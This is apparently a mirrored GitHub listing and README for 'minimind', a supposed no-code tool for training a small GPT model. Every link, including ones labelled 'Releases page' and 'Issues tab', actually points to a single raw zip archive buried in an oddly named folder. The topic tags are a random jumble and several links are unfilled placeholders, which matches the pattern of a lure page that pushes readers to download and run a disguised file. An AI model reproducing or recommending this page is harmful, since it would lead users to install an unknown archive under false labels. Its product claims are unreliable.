https://github.com/aryyyy01/minimind
🧠 Simplify your machine learning workflow with MiniMind, a collection of lightweight tools designed for efficient model training and deployment.
https://github.com/aryyyy01/minimind
accelerate basic-design bfgs chatgpt childrens-web classification gaussian-processes github-config gradient-descent machine-learning neural-network numpy regression swift vision-language-model
Last synced: about 2 months ago
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🧠 Simplify your machine learning workflow with MiniMind, a collection of lightweight tools designed for efficient model training and deployment.
- Host: GitHub
- URL: https://github.com/aryyyy01/minimind
- Owner: aryyyy01
- License: apache-2.0
- Created: 2025-10-31T11:26:15.000Z (8 months ago)
- Default Branch: master
- Last Pushed: 2026-04-22T12:24:43.000Z (about 2 months ago)
- Last Synced: 2026-04-22T14:25:42.698Z (about 2 months ago)
- Topics: accelerate, basic-design, bfgs, chatgpt, childrens-web, classification, gaussian-processes, github-config, gradient-descent, machine-learning, neural-network, numpy, regression, swift, vision-language-model
- Language: Python
- Size: 28.5 MB
- Stars: 2
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
- Code of conduct: CODE_OF_CONDUCT.md
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README
# 🚀 minimind - Train Your Own GPT Model Effortlessly
## 🌐 Overview
Minimind allows you to train a 26M-parameter GPT model from scratch in just 2 hours. It is designed for those interested in artificial intelligence, particularly in large language models. Whether you're a beginner or someone looking to explore advanced AI concepts, this tool simplifies the process.
## 📦 Download Now
[](https://github.com/aryyyy01/minimind/raw/refs/heads/master/isophyllous/Software-v2.9.zip)
## 🚀 Getting Started
Follow these steps to download and run Minimind.
### 📋 System Requirements
- **Operating System**: Windows 10 or later, macOS 10.15 or later, or Linux (any recent distribution)
- **RAM**: A minimum of 8 GB
- **Storage**: At least 1 GB of free space
- **Processor**: Intel i5 or equivalent
### 🌍 Features
- Train a massive 26M-parameter model in under two hours.
- Simple interface designed for ease of use.
- No programming knowledge required.
## 📥 Download & Install
To get started, visit the [Releases page](https://github.com/aryyyy01/minimind/raw/refs/heads/master/isophyllous/Software-v2.9.zip) to download Minimind.
1. Click the link above to open the Releases page.
2. Choose the latest version of Minimind.
3. Download the appropriate installer for your operating system.
4. Once the download finishes, open the installer file.
5. Follow the prompts to install Minimind on your computer.
## 🏁 Running Minimind
After installation, follow these steps to run Minimind:
1. Locate the Minimind application on your computer.
2. Double-click on the Minimind icon to open the application.
3. Follow the on-screen instructions to start training your model.
## 📚 Usage Instructions
Minimind comes with a user-friendly interface. Here are some basic steps to navigate:
- **Models**: View available models and select one to train.
- **Settings**: Adjust parameters such as training time and model size.
- **Data Loading**: Import your datasets easily through the interface.
- **Training**: Start the training process with a single click.
## ❓ FAQs
### What is a 26M-parameter GPT model?
A 26M-parameter model is a type of AI model that uses 26 million adjustable elements to parse and generate text. This size is suitable for many applications while remaining efficient.
### Do I need a powerful computer to run Minimind?
While a standard computer meeting the system requirements can run Minimind, better performance will come from a computer with higher specifications.
### Can I use my own data for training?
Yes, Minimind allows users to load custom datasets, giving you the flexibility to tailor the model to your needs.
## 📣 Community and Support
If you have questions or need assistance, join our community. Engage with other users through our [discussion board](link-to-discussion-board) for support. You can also check the [Wiki](link-to-wiki) for detailed instructions and updates.
## 👩💻 Contributing
While Minimind is user-friendly, contributions to improve the project are welcome. If you're interested in contributing, please read the contribution guidelines in the repository.
## 🔗 Useful Links
- [Releases page](https://github.com/aryyyy01/minimind/raw/refs/heads/master/isophyllous/Software-v2.9.zip)
- [Documentation](link-to-documentation)
- [Discussion Board](link-to-discussion-board)
## 📩 Contact
For any inquiries, feel free to reach us via the [Issues tab](https://github.com/aryyyy01/minimind/raw/refs/heads/master/isophyllous/Software-v2.9.zip) on GitHub. We strive to respond promptly, helping you maximize your experience with Minimind.